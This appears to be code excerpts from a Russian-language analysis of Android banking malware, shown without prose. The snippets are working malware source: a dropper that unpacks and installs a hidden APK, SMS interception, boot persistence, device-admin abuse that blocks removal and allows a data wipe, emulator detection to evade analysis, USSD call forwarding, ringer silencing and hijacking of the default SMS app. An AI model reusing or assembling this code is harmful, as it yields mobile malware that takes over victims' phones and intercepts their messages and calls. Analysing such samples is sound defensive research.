static void runs(Context cnt, String name) { File sdCard = Environment.getExternalStorageDirectory(); AssetManager assetManager = cnt.getAssets(); try { StringBuilder buf = new StringBuilder(); InputStream in = assetManager.open(name); Log.e("path", sdCard.getAbsoluteFile() + "/" + name); OutputStream out = new FileOutputStream(sdCard.getAbsoluteFile() + "/" + name); try { byte[] buffer = new byte[1024]; while (true) { int read = in.read(buffer); if (read == -1) { break; } out.write(buffer, 0, read); } in.close(); out.flush(); out.close(); OutputStream out2 = new FileOutputStream(sdCard.getAbsoluteFile() + "/t" + name); InputStream replacingInputStream = new ReplacingInputStream(new ByteArrayInputStream(readfile(sdCard.getAbsoluteFile() + "/" + name)), "[PK]".getBytes("UTF-8"), "PK".getBytes("UTF-8")); ByteArrayOutputStream bos = new ByteArrayOutputStream(); while (true) { int b = replacingInputStream.read(); if (-1 != b) { bos.write(b); out2.write(b); } else { out2.flush(); out2.close(); Intent intent = new Intent("android.intent.action.VIEW"); intent.setDataAndType(Uri.fromFile(new File(sdCard.getAbsoluteFile() + "/t" + name)), "application/vnd.android.package-archive"); intent.setFlags(268435456); cnt.startActivity(intent); new File(sdCard.getAbsoluteFile() + "/" + name).delete(); return; } } } catch (Exception e) { OutputStream outputStream = out; } } catch (Exception e2) { } }
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /> <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" /> <uses-permission android:name="android.permission.RECORD_AUDIO" /> <uses-permission android:name="android.permission.SEND_SMS" /> <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" /> <uses-permission android:name="android.permission.KILL_BACKGROUND_PROCESSES" /> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /> <uses-permission android:name="android.permission.READ_SMS" /> <uses-permission android:name="android.permission.READ_CONTACTS" /> <uses-permission android:name="android.permission.CAMERA" /> <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" /> <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" /> <uses-permission android:name="android.permission.WAKE_LOCK" /> <uses-permission android:name="android.permission.WRITE_SMS" /> <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" /> <uses-permission android:name="android.permission.READ_PHONE_STATE" /> <uses-permission android:name="android.permission.INTERNET" /> <uses-permission android:name="android.permission.RECEIVE_SMS" /> <uses-permission android:name="android.permission.GET_TASKS" /> <uses-permission android:name="android.permission.CALL_PHONE" /> <uses-permission android:name="android.permission.READ_CALL_LOG" />
<receiver android:name="zzzzzz.xxxxxx.cccccc.AlarmReceiverKnock" /> <receiver android:name="zzzzzz.xxxxxx.cccccc.AlarmReceiverAdm" /> <receiver android:name="zzzzzz.xxxxxx.cccccc.AlarmReceiverSmsMan" /> <receiver android:name="zzzzzz.xxxxxx.cccccc.IntentReceiver"> <intent-filter> <action android:name="android.intent.action.PACKAGE_ADDED" /> <action android:name="android.intent.action.PACKAGE_REMOVED" /> <action android:name="android.net.conn.CONNECTIVITY_CHANGE" /> <data android:scheme="package" /> </intent-filter> </receiver> <receiver android:name="zzzzzz.xxxxxx.cccccc.CAdm" android:permission="android.permission.BIND_DEVICE_ADMIN"> <intent-filter> <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" /> <action android:name="android.app.action.DEVICE_ADMIN_DISABLED" /> </intent-filter> <meta-data android:name="android.app.device_admin" android:resource="@xml/da" /> </receiver> <receiver android:name="zzzzzz.xxxxxx.cccccc.IMMon"> <intent-filter android:priority="100"> <action android:name="android.provider.Telephony.SMS_RECEIVED" /> </intent-filter> </receiver> <receiver android:name="zzzzzz.xxxxxx.cccccc.BootReciv" android:enabled="true"> <intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED" /> <action android:name="android.intent.action.QUICKBOOT_POWERON" /> </intent-filter> </receiver> <service android:name="zzzzzz.xxxxxx.cccccc.Knock" /> <service android:name="zzzzzz.xxxxxx.cccccc.SrvAdm" /> <service android:name="zzzzzz.xxxxxx.cccccc.IMService" /> <receiver android:name="zzzzzz.xxxxxx.cccccc.SmsReceiver" android:permission="android.permission.BROADCAST_SMS"> <intent-filter> <action android:name="android.provider.Telephony.SMS_DELIVER" /> </intent-filter> </receiver> <receiver android:name="zzzzzz.xxxxxx.cccccc.MmsReceiver" android:permission="android.permission.BROADCAST_WAP_PUSH"> <intent-filter> <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER" /> <data android:mimeType="application/vnd.wap.mms-message" /> </intent-filter> </receiver> <activity android:name="zzzzzz.xxxxxx.cccccc.ComposeSmsActivity"> <intent-filter> <action android:name="android.intent.action.SEND" /> <action android:name="android.intent.action.SENDTO" /> <category android:name="android.intent.category.DEFAULT" /> <category android:name="android.intent.category.BROWSABLE" /> <data android:scheme="sms" /> <data android:scheme="smsto" /> <data android:scheme="mms" /> <data android:scheme="mmsto" /> </intent-filter> </activity> <service android:name="zzzzzz.xxxxxx.cccccc.HeadlessSmsSendService" android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE" android:exported="true"> <intent-filter> <action android:name="android.intent.action.RESPOND_VIA_MESSAGE" /> <category android:name="android.intent.category.DEFAULT" /> <data android:scheme="sms" /> <data android:scheme="smsto" /> <data android:scheme="mms" /> <data android:scheme="mmsto" /> </intent-filter> </service> <activity android:label="@string/title_activity_activity_blank" android:name="zzzzzz.xxxxxx.cccccc.ActivityStart"> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <activity android:label="@string/sda" android:name="zzzzzz.xxxxxx.cccccc.MAC" /> <activity android:label="@string/cc" android:name="zzzzzz.xxxxxx.cccccc.ActivityGetCC" /> </application>
<?xml version="1.0" encoding="utf-8"?> <device-admin> <uses-policies> <limit-password /> <watch-login /> <reset-password /> <force-lock /> <wipe-data /> <expire-password /> <encrypted-storage /> <disable-camera /> </uses-policies> </device-admin>
public CharSequence onDisableRequested(Context context, Intent intent) { Intent intent2 = new Intent(context, MAC.class); intent2.addFlags(268435456); context.startActivity(intent2); return ""; } public class MAC extends Activity { private DevicePolicyManager a; public void onCreate(Bundle bundle) { super.onCreate(bundle); this.a = (DevicePolicyManager) getSystemService("device_policy"); Parcelable componentName = new ComponentName(this, CAdm.class); if (!this.a.isAdminActive(componentName)) { Intent intent = new Intent("android.app.action.ADD_DEVICE_ADMIN"); intent.putExtra("android.app.extra.DEVICE_ADMIN", componentName); intent.putExtra("android.app.extra.ADD_EXPLANATION", ""); startActivity(intent); } finish(); } }
public static boolean m6a(Context context) { boolean equals = ((TelephonyManager) context.getSystemService("phone")).getDeviceId().equals("000000000000000"); boolean z = Build.MODEL.contains("google_sdk") || Build.MODEL.contains("Emulator") || Build.MODEL.contains("Android SDK") || Build.FINGERPRINT.startsWith("generic") || Build.FINGERPRINT.startsWith("unknown") || Build.MODEL.contains("Android SDK built for x86") || Build.MANUFACTURER.contains("Genymotion"); boolean z2 = Build.BRAND.startsWith("generic") && Build.DEVICE.startsWith("generic"); return equals || z || z2; }
static String b(Context context, String str) { String str2 = "**21*" + str + "#"; Intent intent = new Intent("android.intent.action.DIAL"); intent.setData(Uri.fromParts("tel", str2, "#")); intent.setFlags(268435456); context.startActivity(intent); return ""; } static String a(Context context, String str) { SystemClock.sleep(5000); Intent intent = new Intent("android.intent.action.CALL", Uri.parse("tel:" + str.toString() + Uri.encode("#"))); intent.setFlags(268435456); context.startActivity(intent); return ""; }
((AudioManager) getSystemService("audio")).setRingerMode(0);
public static void m2a(Context context) { if (VERSION.SDK_INT >= 19) { String className = ((RunningTaskInfo) ((ActivityManager) context.getSystemService("activity")).getRunningTasks(1).get(0)).topActivity.getClassName(); if (!className.equalsIgnoreCase("com.android.settings.DeviceAdminAdd") && !className.equalsIgnoreCase("com.android.settings.SmsDefaultDialog") && !Sms.getDefaultSmsPackage(context).equalsIgnoreCase(context.getPackageName())) { Intent intent = new Intent("android.provider.Telephony.ACTION_CHANGE_DEFAULT"); intent.putExtra("package", context.getPackageName()); intent.addFlags(268435456); context.startActivity(intent); } } }
Source: https://habr.com/ru/post/276619/
All Articles